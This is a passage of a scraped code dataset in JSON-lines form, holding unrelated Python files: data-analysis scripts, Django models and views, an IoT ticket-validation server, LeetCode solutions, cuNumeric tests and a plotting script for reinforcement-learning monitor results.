File['X'][TMin1:TMax1]\n X = X.tolist()\n if csvfiles[i-1][-5] == 'R':\n X = [30 - x for x in X]\n Y = File['Y'][TMin1:TMax1]\n Y = [75 - y for y in Y]\n XY = [X, Y] # make this a 3D structure\n Dist_from_source = []\n\n # Find distance from source as hypotenuse\n for j in range(len(X)):\n Dist_from_source.append(math.sqrt(XY[0][j]**2 + XY[1][j]**2))\n\n kde = stats.gaussian_kde(Dist_from_source)\n p = kde(pts)\n data = data.append({'Fish Number': int(i), 'Mean dist': np.mean(Dist_from_source), 'Median dist': np.median(Dist_from_source),\n 'SD dist': np.std(Dist_from_source), 'Max time spent dist': np.argmax(p)+1,\n 'Area 25': np.trapz(p[:19]), 'Area 50':np.trapz(p[20:38]),\n 'Area 75': np.trapz(p[39:57]), 'Area 100': np.trapz(p[58:])}, ignore_index=True)\n\n # save file\n filename = raw_input('Enter file name for saving:')\n data.to_csv('%s/%s.csv' % (save_folder, filename), float_format= '%.12f',index=False)\n","sub_path":"Windows_Scripts/DistanceFromSource.py","file_name":"DistanceFromSource.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"412359021","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('HiveManagement', '0007_auto_20151104_2154'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Region',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('name', models.CharField(default='Unknown', max_length=100)),\n ],\n ),\n migrations.AddField(\n model_name='field',\n name='source_region',\n field=models.ForeignKey(to='HiveManagement.Region', blank=True, null=True),\n ),\n ]\n","sub_path":"HiveManagement/migrations/0008_auto_20151104_2229.py","file_name":"0008_auto_20151104_2229.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"294692956","text":"import pandas as pd\nimport re\n# Iterative longest contiguous sequence. No one character matchings\ndef lcs(s1,s2):\n longest = \"\"\n i = 0\n #print(type(s1))\n try:\n for x in s1:\n if re.search(x, s2):\n s= x\n while re.search(s, s2):\n if len(s)>len(longest):\n longest = s\n if i+len(s) == len(s1):\n break\n s = s1[i:i+len(s)+1]\n i += 1\n return longest\n except:\n print(s1)\n return longest\n\ndef iterLCS(pdf):\n try:\n posCounter = 1\n sw1Orig = pdf['Root Word']\n sw2Orig = pdf['Full Word']\n sw1 = pdf['Root Word']\n sw2 = pdf['Full Word']\n longDict = dict()\n prevSInd = 0\n prevTInd = 0\n rejLength =0\n\n while True:\n tempVal = lcs(sw1Orig,sw2Orig)\n if len(tempVal) <= 1:\n break\n\n tempSInd = pdf['Root Word'].find(tempVal) + 1\n tempTInd = pdf['Full Word'].find(tempVal) + 1\n if (tempSInd - prevSInd)*(tempTInd - prevTInd) < 0:\n print('here',tempVal,pdf['Root Word'],pdf['Full Word'])\n sw1Orig = sw1Orig.replace(tempVal,'~~',1)\n sw2Orig = sw2Orig.replace(tempVal,'^^',1)\n rejLength += len(tempVal)\n else:\n longDict[tempSInd] = tempVal+'#'+str(posCounter)\n sw1 = sw1.replace(tempVal,'#'+str(posCounter)+'#',1)\n sw2 = sw2.replace(tempVal,'!'+str(posCounter)+'!',1)\n sw1Orig = sw1Orig.replace(tempVal,'~'+str(posCounter)+'~',1)\n sw2Orig = sw2Orig.replace(tempVal,'^'+str(posCounter)+'^',1)\n prevSInd = tempSInd + 1\n prevTInd = tempTInd + 1\n posCounter += 1\n\n #return [longList,[item for item in sw1.split('#') if len(item) > 0],[item for item in sw2.split('!') if len(item) > 0]]\n pdf['common'] = longDict\n pdf['deleted'] = [item for item in sw1.split('#') if len(item) > 0 and item.isdigit()!=True ]\n pdf['sourceSkeleton'] = sw1\n pdf['targetSkeleton'] = sw2\n\n\n jointWord = ''\n sw1Split = sw1.split('#')\n sw2Split = sw2.split('!')\n\n sw3 = [nummi for nummi in sw1Split if nummi.isdigit() == True]\n sw4 = [nummi for nummi in sw2Split if nummi.isdigit() == True]\n\n if sw3!=sw4:\n print('ordermatchilla',sw3,sw4)\n\n\n for key in sorted(longDict.keys()):\n nowN = longDict[key].split('#')[1]\n try:\n\n while sw1Split[0] != nowN:\n\n tingi = sw1Split.pop(0)\n if len(tingi) > 0:\n\n jointWord += 'DEL('\n for cahra in tingi:\n jointWord += cahra\n jointWord += ')'\n except IndexError:\n print(\"SW1\",pdf['Root Word'])\n\n try:\n while sw2Split[0] != nowN:\n tingi = sw2Split.pop(0)\n if len(tingi) > 0:\n jointWord += 'INS('\n for cahra in tingi:\n jointWord += cahra\n jointWord += ')'\n except IndexError:\n print(\"SW2\",pdf['Root Word'])\n\n\n try: \n if sw1Split[0] == nowN and sw2Split[0] == nowN:\n jointWord = jointWord + longDict[key].split('#')[0]\n sw1Split.pop(0)\n sw2Split.pop(0)\n else:\n print('pani pali not expected')\n except IndexError:\n print(\"common\",pdf['Root Word'])\n\n while len(sw1Split) > 0:\n tingi = sw1Split.pop(0)\n if len(tingi) > 0:\n jointWord += 'DEL('\n for cahra in tingi:\n jointWord += cahra\n jointWord += ')'\n\n while len(sw2Split) > 0:\n\n tingi = sw2Split.pop(0)\n if len(tingi) > 0:\n jointWord += 'INS('\n for cahra in tingi:\n jointWord += cahra\n jointWord += ')'\n\n\n if len(pdf['deleted']) == 0:\n pdf['deleted'] = ['ϵ']\n\n\n pdf['added'] = [item for item in sw2.split('!') if len(item) > 0 and item.isdigit()!=True]\n\n if len(pdf['added']) == 0:\n pdf['added'] = ['ϵ']\n\n pdf['aligned'] = jointWord\n\n return pdf\n except:\n print(\"error\")\n return\ndf=pd.read_csv('prefix_final.csv')\ndf.drop([2242])\nddf = df.apply(iterLCS, axis=1)\nddf.to_csv('prefix_pattern.csv')\n\n","sub_path":"prefix_pattern.py","file_name":"prefix_pattern.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"317851321","text":"# ECE 544: Trustowrhty Computing - Final Project\n# Creators: Nick DiMartino and Paul Joseph\n# Topic: Internet of Things (IoT)\n# Description of Code: Validates the session ticket and forwards the command from the client to the IoT device\n\nimport os\nimport socket\nimport json\nimport DES\nimport base64\nfrom datetime import datetime\nimport dotenv\n\n# Read and load the key-value pairs along with the names of the HOST, PORT, and IOT communcation\ndotenv.load_dotenv()\nHOST = '0.0.0.0'\nPORT = 8080\nIOT = 8082\n\n\n# IoT key and AS\nIOTKEY = base64.b64decode(os.getenv(\"IOTKEY\"))\nauthenticator_set = set()\n\n\n# Validates the ticket generated by the AS\ndef validate_ticket(data):\n data_dict = json.loads(data) # loads the JSON data for the ticket\n ticket = DES.decrypt(IOTKEY[:8], base64.b64decode(data_dict[\"ticket\"])) # decrypts the data\n ticket_dict = json.loads(ticket) # load the decrpyted ticket\n try:\n sessionkey = base64.b64decode(ticket_dict[\"sessionkey\"])\n authenticator = json.loads(\n DES.decrypt(sessionkey[16:24], base64.b64decode(data_dict[\"authenticator\"])).decode())\n except:\n return None\n timestamp = datetime.strptime(authenticator[\"timestamp\"], '%Y-%m-%d %H:%M:%S.%f') # timestamp for the authenticator\n lifetime = datetime.strptime(ticket_dict[\"lifetime\"], '%Y-%m-%d %H:%M:%S.%f') # lifetime of the generated ticket\n\n # lifetime of the ticket must be valid to be authenticated\n if authenticator[\"logout\"] == \"True\":\n authenticator_set.clear()\n print(\"authenticator_list:\\n\",authenticator_set)\n return \"Successfully logged out from IoT.\",\"logout\"\n if datetime.now() > lifetime:\n authenticator_set.clear()\n return \"expired\"\n if authenticator[\"username\"] != ticket_dict[\"username\"]:\n return None\n if data_dict[\"server\"] != ticket_dict[\"server\"]:\n return None\n if (authenticator[\"username\"], timestamp) in authenticator_set:\n return None\n authenticator_set.add((authenticator[\"username\"], timestamp))\n print(\"authenticator_list:\\n\",authenticator_set)\n return data_dict[\"command\"]\n\n\n# Connect the the IoT device\ndef iot_device_connect(response):\n serverAddressPort = (\"127.0.0.1\", IOT)\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n s.sendto(response.encode(), serverAddressPort)\n msgFromServer = s.recvfrom(1024)\n\n return msgFromServer[0]\n\n\n# Create the network communicatioon over the HOST and PORT for to connect with the Client and IoT Device\nwith socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n s.bind((HOST, PORT))\n\n while True:\n bytesAddressPair = s.recvfrom(1024)\n data = bytesAddressPair[0]\n\n address = bytesAddressPair[1]\n\n response = validate_ticket(data.decode())\n if not data:\n break\n\n if response is None:\n s.sendto(b'invalid session!', address)\n elif response == \"expired\":\n s.sendto(b'expired', address)\n elif response[1] == \"logout\":\n s.sendto(response[0].encode(), address)\n else:\n s.sendto(iot_device_connect(response), address)\n","sub_path":"IoTserver/IoTserver.py","file_name":"IoTserver.py","file_ext":"py","file_size_in_byte":3274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"384049167","text":"__author__ = 'chorst'\nimport math\n\ndef rmse(true, predicted):\n rmse = 0.0\n n = 0.0\n for i in range(len(true)):\n n += 1\n rmse += math.pow(true[i] - predicted[i], 2.)\n return math.sqrt(rmse / n)\n\n","sub_path":"Project/rmse.py","file_name":"rmse.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"245519026","text":"import math\nimport json\nimport sys\nimport os\ndef mercX(lon):\n \"\"\"\n Mercator projection from longitude to X coord\n \"\"\"\n zoom = 1.0\n lon = math.radians(lon)\n a = (256.0 / math.pi) * pow(2.0, zoom)\n b = lon + math.pi\n return int(a * b)\n\n\ndef mercY(lat):\n \"\"\"\n Mercator projection from latitude to Y coord\n \"\"\"\n zoom = 1.0\n lat = math.radians(lat)\n a = (256.0 / math.pi) * pow(2.0, zoom)\n b = math.tan(math.pi / 4 + lat / 2)\n c = math.pi - math.log(b)\n return int(a * c)\n\ndef adjust_location_coords(extremes,points,width,height):\n \"\"\"\n Adjust your point data to fit in the screen. \n Input:\n extremes: dictionary with all maxes and mins\n points: list of points\n width: width of screen to plot to\n height: height of screen to plot to\n \"\"\"\n maxx = float(extremes['max_x']) # The max coords from bounding rectangles\n minx = float(extremes['min_x'])\n maxy = float(extremes['max_y'])\n miny = float(extremes['min_y'])\n deltax = float(maxx) - float(minx)\n deltay = float(maxy) - float(miny)\n\n adjusted = []\n\n for p in points:\n x,y = p\n x = float(x)\n y = float(y)\n xprime = (x - minx) / deltax # val (0,1)\n yprime = ((y - miny) / deltay) # val (0,1)\n adjx = int(xprime*width)\n adjy = int(yprime*height)\n adjusted.append((adjx,adjy))\n return adjusted\n\nif __name__=='__main__':\n DIRPATH = os.path.dirname(os.path.realpath(__file__))\n data = []\n \n allx = []\n ally = []\n points = []\n for x in range(1960,2017):\n year = 1960\n f = open(DIRPATH + '\\\\quake-'+str(year)+'-condensed.json','r')\n stuff = json.loads(f.read())\n for more_stuff in stuff:\n data.append(more_stuff)\n # Loop through converting lat/lon to x/y and saving extreme values. \n for quake in data:\n #st = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n lon = quake['geometry']['coordinates'][0]\n lat = quake['geometry']['coordinates'][1]\n x,y = (mercX(lon),mercY(lat))\n allx.append(x)\n ally.append(y)\n points.append((x,y))\n \n\n # Create dictionary to send to adjust method\n extremes = {}\n extremes['max_x'] = max(allx)\n extremes['min_x'] = min(allx)\n extremes['max_y'] = max(ally)\n extremes['min_y'] = min(ally)\n\n # Get adjusted points\n screen_width = 1024\n screen_height = 512\n adj = adjust_location_coords(extremes,points,screen_width,screen_height)\n\n # Save adjusted points\n f = open(DIRPATH + '/quake-1960To2017-adjusted.json','w')\n f.write(json.dumps(adj, sort_keys=True,indent=4, separators=(',', ': ')))\n f.close()","sub_path":"Assignments/Assignments/Program_3/adjust_quake_points.py","file_name":"adjust_quake_points.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"79193935","text":"class Solution(object):\n def canJump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n \"\"\" This is a bottom-up solution in O(n^2) time and O(n) space\n length = len(nums)\n can_reach = [False] * length\n can_reach[length - 1] = True\n for i in range(length - 2, -1, -1):\n if i + nums[i] >= length - 1:\n can_reach[i] = True\n else:\n for j in range(i + 1, min(i + nums[i] + 1, length)):\n if can_reach[j]:\n can_reach[i] = True\n break\n\n return can_reach[0]\n \"\"\"\n # with trick\n length = len(nums)\n last_index = length - 1\n for i in range(length - 1, -1, -1):\n if i + nums[i] >= last_index:\n last_index = i\n \n return last_index == 0\n","sub_path":"jump_game.py","file_name":"jump_game.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"325965811","text":"#passed leetcode\r\n#space: O(n)\r\n\r\nclass Solution(object):\r\n def reverseList(self, head):\r\n \"\"\"\r\n :type head: ListNode\r\n :rtype: ListNode\r\n\r\n \"\"\"\r\n if head: # for case when empty list is sent\r\n return self.recursive_reve(None, head)\r\n # recursive\r\n\r\n def recursive_reve(self, prev, curr):\r\n if not (curr.next):\r\n head = curr\r\n curr.next = prev\r\n return head\r\n elif curr.next:\r\n next_node = curr.next\r\n curr.next = prev\r\n # prev = curr\r\n # curr=curr.next\r\n # if above 2 are given the self.recursive_reve(prev,curr)\r\n return self.recursive_reve(curr, next_node)\r\n\r\n\r\nclass Solution(object):\r\n def reverseList(self, head):\r\n \"\"\"\r\n :type head: ListNode\r\n :rtype: ListNode\r\n \"\"\"\r\n # iterative\r\n if not (head):\r\n return None\r\n prev = None\r\n next_node = None\r\n current = head\r\n while current:\r\n next_node = current.next\r\n current.next = prev\r\n prev = current\r\n current = next_node\r\n # next_node = current.next\r\n # if current == head:\r\n head = prev\r\n return head\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"prob_48reversing_linked_list.py","file_name":"prob_48reversing_linked_list.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"277212510","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom .models import Poll, Response, Option\n\n\n\n#from .models import Poll, Response, Option\n#from django.db.models import Count\n\ndef polls_list(request):\n polls1 = Poll.objects.filter(status=1)\n options_ = polls1.option_set.all()\n responses_ = options_.response_set.all().count()\n data = {}\n data[\"list_poll\"] = polls1\n data[\"options_list1\"] = options_\n data[\"responses_list1\"] = responses_\n\n return render(request, 'poll.html', context=data)\n\n\ndef polls_list_u(request):\n polls2 = Poll.objects.filter(status=0)\n options_2 = polls2.option_set.all()\n responses_2 = options_2.response_set.all().count()\n data = {}\n data[\"list_poll_u\"] = polls2\n data[\"options_list2\"] = options_2\n data[\"responses_list2\"] = responses_2\n\n return render(request, 'poll.html', context=data)\n\n\ndef poll_details(request, p_title):\n poll_d = Poll.objects.filter(title=p_title)\n n_responses = Response.objects.all().count()\n data = {}\n data[\"details\"] = poll_d\n data[\"number_responses\"] = n_responses\n return render(request, 'poll.html', context=data)\n\n\ndef names_list(request):\n names_re = Response.objects.all()\n data = {}\n data[\"names\"] = names_re\n return render(request, 'responses.html', context=data)\n\n\ndef form_list(request):\n return render(request, 'form.html')\n\n","sub_path":"poll/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"114337448","text":"#Sun Sep 15 08:15:41 EST 2013\nN_copies_Y=2\nN_copies_X=2\nZ_origin_offset=0\nshowEtch3=0\nshowEtch2=0\nshowEtch=1\nGRID_N_POINTS=(4,4)\nBAUDRATE=115200\nminDistance=0.001**2 \nmaxDistance=1**2 \nZlift_milling=1.0\nfilePath=\"C:/Users/kobus/Dropbox/JavaProjects/Cyclone-PCB-Factory-Gui/GcodeGenerators/pyGerber2Gcode_CUI/out/\"\nF_fastMove=70000\nEmulate=True\nrunInGui=True\nshowDrill=0\nF_slowMove=20000\nfavouritesPath=\"./favourites/\"\nZ_PROBING_FILE=\"Z_probing_data.p\"\nmargin_copies_Y=5\ninitial_Z_lowering_distance=-5\nDEVICE=\"COM3\"\nmargin_copies_X=5\nshowEdge=0\nZ_global_offset=0\nZlift=0.5\nfileName=\"GNBoard\"\n","sub_path":"configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"373442795","text":"# Copyright 2021-2022 NVIDIA Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport numpy as np\nimport pytest\n\nimport cunumeric as num\nfrom legate.core import LEGATE_MAX_DIM\n\nINPUTS = (\n [-1, 4, 5],\n [5, 10, 0, 100],\n [[0, 0], [0, 0]],\n [[True, True, False], [True, True, True]],\n [[False, True, False]],\n [[0.0, 1.0, 0.0]],\n [[1, 0 + 1j, 1 + 1j]],\n [[1, 0 + 1j, 0 + 0j]],\n [np.nan],\n)\n\n\n@pytest.mark.parametrize(\"input\", INPUTS)\ndef test_any_and_all(input):\n in_np = np.array(input)\n # cuNumeric doesn't support reductions for complex128\n if in_np.dtype.kind == \"c\":\n in_np = in_np.astype(\"F\")\n in_num = num.array(in_np)\n\n for fn in (\"any\", \"all\"):\n fn_np = getattr(np, fn)\n fn_num = getattr(num, fn)\n assert np.array_equal(fn_np(in_np), fn_num(in_num))\n for axis in range(in_num.ndim):\n out_np = fn_np(in_np, axis=axis)\n out_num = fn_num(in_num, axis=axis)\n assert np.array_equal(out_np, out_num)\n\n\n@pytest.mark.parametrize(\"ndim\", range(LEGATE_MAX_DIM + 1))\ndef test_nd_inputs(ndim):\n shape = (3,) * ndim\n in_np = np.random.random(shape)\n in_num = num.array(in_np)\n\n for fn in (\"any\", \"all\"):\n fn_np = getattr(np, fn)\n fn_num = getattr(num, fn)\n for axis in range(in_num.ndim):\n out_np = fn_np(in_np, axis=axis)\n out_num = fn_num(in_num, axis=axis)\n assert np.array_equal(out_np, out_num)\n\n out_np = np.empty(out_np.shape, dtype=\"D\")\n out_num = num.empty(out_num.shape, dtype=\"D\")\n fn_np(in_np, axis=axis, out=out_np)\n fn_num(in_num, axis=axis, out=out_num)\n assert np.array_equal(out_np, out_num)\n\n out_np = fn_np(in_np[1:], axis=axis)\n out_num = fn_num(in_num[1:], axis=axis)\n assert np.array_equal(out_np, out_num)\n\n\n@pytest.mark.skip\ndef test_where():\n x = np.array([[True, True, False], [True, True, True]])\n y = np.array([[True, False], [True, True]])\n cy = num.array(y)\n\n assert num.array_equal(\n num.all(cy, where=[True, False]), np.all(x, where=[True, False])\n )\n assert num.array_equal(\n num.any(cy, where=[[True], [False]]),\n np.any(x, where=[[True], [False]]),\n )\n\n\nif __name__ == \"__main__\":\n import sys\n\n sys.exit(pytest.main(sys.argv))\n","sub_path":"tests/integration/test_logical.py","file_name":"test_logical.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"352336066","text":"import matplotlib\n\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\nimport csv\nimport glob\nfrom random import randint\nimport configurations.config_grabber as cg\nfrom pathlib import Path\nimport screenHelper\n\nplt.savefig(\"foo.pdf\", bbox_inches=\"tight\", pad_inches=0)\n\"\"\"\nFile used to create a graph from a csv file and the name of the columns that need to be used\n\"\"\"\n\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\n\n\ndef plot_result(scale, tab, fileNameMon, fileNameNoMon, resultFileName):\n pp = PdfPages(resultFileName)\n print(fileNameMon[0])\n title = get_config_from_name(fileNameMon[0])\n\n array_mon = [[[] for i in range(0, len(tab) * 2 + 1)] for e in range(len(fileNameMon))]\n array_nomon = [[[] for i in range(0, len(tab) * 2 + 1)] for e in range(len(fileNameNoMon))]\n mean_array_mon = [[] for i in range(0, len(tab) * 2 + 1)]\n mean_array_nomon = [[] for i in range(0, len(tab) * 2 + 1)]\n column_number = [0 for i in range(0, len(tab) * 2 + 1)]\n list_of_name = [\"\" for i in range(0, len(tab) * 2 + 1)]\n list_of_name[0] = scale\n cpt = 1\n last_mean_mon = [float(0) for i in range(0, 22)]\n last_mean_nomon = [float(0) for i in range(0, 22)]\n one_process_max = 0\n all_process_max = 0\n test = False\n\n step_mon = len(fileNameMon) // 5\n step_nomon = len(fileNameNoMon) // 5\n\n for x, y, z in tab:\n list_of_name[cpt] = x\n cpt += 1\n list_of_name[cpt] = y\n cpt += 1\n for t in range(0, len(fileNameMon)):\n with open(fileNameMon[t], 'r') as csvfile:\n plots = csv.reader(csvfile, delimiter=',')\n first_line = True\n for row in plots:\n if first_line:\n for column in range(0, len(row)):\n for i in range(0, len(list_of_name)):\n if list_of_name[i] == row[column]:\n column_number[i] = column\n first_line = False\n else:\n for i in range(0, len(tab) * 2 + 1):\n array_mon[t][i].append((float(row[column_number[i]])))\n if test is not True:\n if row[6] == \"1.0\":\n one_process_max += float(row[0])\n test = True\n for k in range(len(last_mean_mon)):\n last_mean_mon[k] += float(row[k])\n test = False\n\n one_process_max = one_process_max / len(fileNameMon)\n print(\"Monitor: one_process_max : \", one_process_max)\n\n for t in range(0, len(array_mon)):\n pmax = max(array_mon[t][-2])\n pos = array_mon[t][-2].index(pmax)\n all_process_max += array_mon[t][0][pos]\n all_process_max = all_process_max / len(array_mon)\n print(\"Monitor: all_process_max : \", all_process_max)\n for k in range(len(last_mean_mon)):\n last_mean_mon[k] = last_mean_mon[k] / len(fileNameMon)\n print(\"Monitor: \", last_mean_mon)\n\n for t in range(0, len(mean_array_mon[0])):\n for j in range(len(mean_array_mon)):\n mean_array_mon[j][t] = mean_array_mon[j][t][0]\n\n one_process_max = 0\n all_process_max = 0\n\n for t in range(0, len(fileNameNoMon)):\n with open(fileNameNoMon[t], 'r') as csvfile:\n plots = csv.reader(csvfile, delimiter=',')\n first_line = True\n for row in plots:\n if first_line:\n for column in range(0, len(row)):\n for i in range(0, len(list_of_name)):\n if list_of_name[i] == row[column]:\n column_number[i] = column\n first_line = False\n else:\n for i in range(0, len(tab) * 2 + 1):\n array_nomon[t][i].append((float(row[column_number[i]])))\n if test is not True:\n if row[6] == \"1.0\":\n one_process_max += float(row[0])\n test = True\n for k in range(len(last_mean_nomon)):\n last_mean_nomon[k] += float(row[k])\n test = False\n\n one_process_max = one_process_max / len(fileNameNoMon)\n print(\"No Monitor: one_process_max : \", one_process_max)\n\n for t in range(0, len(array_nomon)):\n pmax = max(array_nomon[t][-2])\n pos = array_nomon[t][-2].index(pmax)\n all_process_max += array_nomon[t][0][pos]\n all_process_max = all_process_max / len(array_nomon)\n print(\"No Monitor: all_process_max : \", all_process_max)\n for k in range(len(last_mean_nomon)):\n last_mean_nomon[k] = last_mean_nomon[k] / len(fileNameNoMon)\n print(\"No Monitor: \", last_mean_nomon)\n\n for t in range(0, len(mean_array_nomon[0])):\n for j in range(len(mean_array_nomon)):\n mean_array_nomon[j][t] = mean_array_nomon[j][t][0]\n\n i = 1\n\n for x, y, z in tab:\n if x == \"N_step_AVG\" or x == \"N_death\" or x == \"Reward_mean\":\n plt.figure()\n for t in range(0, 5):\n if len(array_mon[t * step_mon][i]) > 0:\n color = 'r'\n plt.plot(array_mon[t * step_mon][0], array_mon[t * step_mon][i], color, linewidth=1,\n label=x + \"_monitor\")\n\n if len(array_nomon[t * step_nomon][i]) > 0:\n color = 'b'\n plt.plot(array_nomon[t * step_mon][0], array_nomon[t * step_mon][i], color, linewidth=1,\n label=x + \"no_monitor\")\n \"\"\"\n if z:\n area_top = []\n area_bot = []\n for k in range(len(array_mon[t*step_mon][i + 1])):\n area_top.append(array_mon[t*step_mon][i][k] + array_mon[t*step_mon][i + 1][k])\n area_bot.append(array_mon[t*step_mon][i][k] - array_mon[t*step_mon][i + 1][k])\n plt.fill_between(array_mon[t*step_mon][0], area_bot, area_top, color=\"red\", alpha=0.4)\n\n area_top = []\n area_bot = []\n for k in range(len(array_nomon[t*step_nomon][i + 1])):\n area_top.append(array_nomon[t*step_nomon][i][k] + array_nomon[t*step_nomon][i + 1][k])\n area_bot.append(array_nomon[t*step_nomon][i][k] - array_nomon[t*step_nomon][i + 1][k])\n plt.fill_between(array_nomon[t*step_nomon][0], area_bot, area_top, color=\"skyblue\", alpha=0.4)\n \"\"\"\n # plt.legend()\n # plt.xlabel('N Updates')\n # plt.title(title)\n plt.savefig(pp, format='pdf')\n\n if y == \"N_goal_reached\":\n plt.figure()\n for t in range(0, 5):\n if len(array_mon[t * step_mon][i + 1]) > 0:\n color = 'r'\n plt.plot(array_mon[t * step_mon][0], array_mon[t * step_mon][i + 1], color, linewidth=1,\n label=x + \"_monitor\")\n if len(array_nomon[t * step_nomon][i + 1]) > 0:\n color = 'b'\n plt.plot(array_nomon[t * step_nomon][0], array_nomon[t * step_nomon][i + 1], color, linewidth=1,\n label=x + \"no_monitor\")\n # plt.legend()\n # plt.xlabel('N Updates')\n # plt.title(title)\n plt.savefig(pp, format='pdf')\n\n i += 2\n\n plt.figure()\n Name = fileNameMon[0]\n Name = Name.replace(\"_0\", \"\")\n img = get_image_from_name(\"configurations/*\", Name)\n if img is not None:\n if \"main\" in img:\n screenHelper.main()\n img = plt.imread(img)\n plt.imshow(img)\n plt.savefig(pp, format='pdf')\n pp.close()\n print(resultFileName, \" generated\")\n\n\ndef get_config_from_name(file):\n try:\n file = file.split(\".csv\")[0]\n file = file.replace(\"evaluations/\", \"randoms/\")\n file = file[:-2]\n config = cg.Configuration.grab(file)\n\n\n except FileNotFoundError:\n config = cg.Configuration.grab()\n title = \"Monitors : \"\n for typeOfMonitor in config.monitors:\n for monitors in typeOfMonitor:\n for monitor in monitors:\n if monitor.active:\n title += monitor.type + \"_\" + monitor.name\n rewards = \"reward goal : {0} \".format(config.rewards.standard.goal)\n rewards += \"/ step : {0} \".format(config.rewards.standard.step)\n rewards += \"/ death : {0} \".format(config.rewards.standard.death)\n return title + \"\\n\" + rewards\n\n\ndef get_image_from_name(path, my_file):\n for file in glob.glob(path):\n if \".json\" in file:\n file = file.split(\"configurations/\")[1]\n file = file.split(\".json\")[0]\n try:\n config = cg.Configuration.grab(file)\n except FileNotFoundError:\n config = cg.Configuration.grab()\n my_file = my_file.replace(\".csv\", \"\")\n\n number_of_slash = 0\n for i in range(len(my_file)):\n if my_file[i] == '/':\n number_of_slash += 1\n pos = 0\n for j in range(number_of_slash):\n pos = my_file.find('/', pos)\n my_file = my_file[pos + 1:]\n if config.config_name == my_file:\n if \"randoms\" in path:\n return \"results/screens/randoms/\" + config.env_name + \".png\"\n if \"crafted\" in path:\n return \"results/screens/crafted/\" + config.env_name + \".png\"\n return \"results/screens/\" + config.env_name + \".png\"\n if \"crafted\" not in path and \"randoms\" not in path:\n return get_image_from_name(\"configurations/crafted/*\", my_file)\n elif \"randoms\" not in path:\n return get_image_from_name(\"configurations/randoms/*\", my_file)\n else:\n return None\n\n\ndef autoPlot(scale, tab):\n for csvFile in glob.glob(\"evaluations/*/\"):\n monitor = csvFile\n csvFileMon = []\n csvFileNoMon = []\n for csvFile in glob.glob(monitor + \"*_0.csv\"):\n if csvFile[-8:] == \"_2_0.csv\":\n csvFileNoMon.append(csvFile)\n else:\n csvFileMon.append(csvFile)\n if len(csvFileMon) == 1:\n name = csvFile\n random_number = randint(0, 999999)\n name = name.replace(\"_0.csv\", \"\")\n name = name + (str(random_number))\n name += str(\".pdf\")\n name = name.replace(\"evaluations/\", \"results/\")\n plot_result(scale, tab, csvFileMon, csvFileNoMon, name)\n\n\ndef create_all_images(path):\n for file in glob.glob(path):\n # Folder except rewards and environments\n if \".\" not in file and \"rewards\" not in file and \"environments\" not in file:\n create_all_images(file + \"/*\")\n elif \".json\" in file:\n # image need to be created\n file = file.split(\"configurations/\")[1]\n file = file.split(\".json\")[0]\n if not check_if_image_already_exist(file):\n screenHelper.main(file)\n\n\ndef check_if_image_already_exist(path):\n config = cg.Configuration.grab(path)\n folder = \"\"\n if \"crafted\" in path:\n folder = \"crafted/\"\n elif \"randoms\" in path:\n folder = \"randoms/\"\n path = path.replace(path, \"results/screens/\" + folder + config.env_name + \".png\")\n path = Path(path)\n if path.exists():\n return True\n return False\n\n\ncreate_all_images(\"configurations/*\")\nprint(\"all images created\")\n\nscale = \"N_updates\"\nfirst_graph = (\"N_step_AVG\", \"N_goal_reached\", False)\nsecond_graph = (\"N_death\", \"N_saved\", False)\nthird_graph = (\"Reward_mean\", \"Reward_std\", True)\ntab = (first_graph, second_graph, third_graph)\nautoPlot(scale, tab)\n","sub_path":"plot_monitor.py","file_name":"plot_monitor.py","file_ext":"py","file_size_in_byte":11895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"565610639","text":"from types import ClassMethodDescriptorType\nfrom flask import current_app\nfrom app import db\nfrom flask import Blueprint\nfrom datetime import 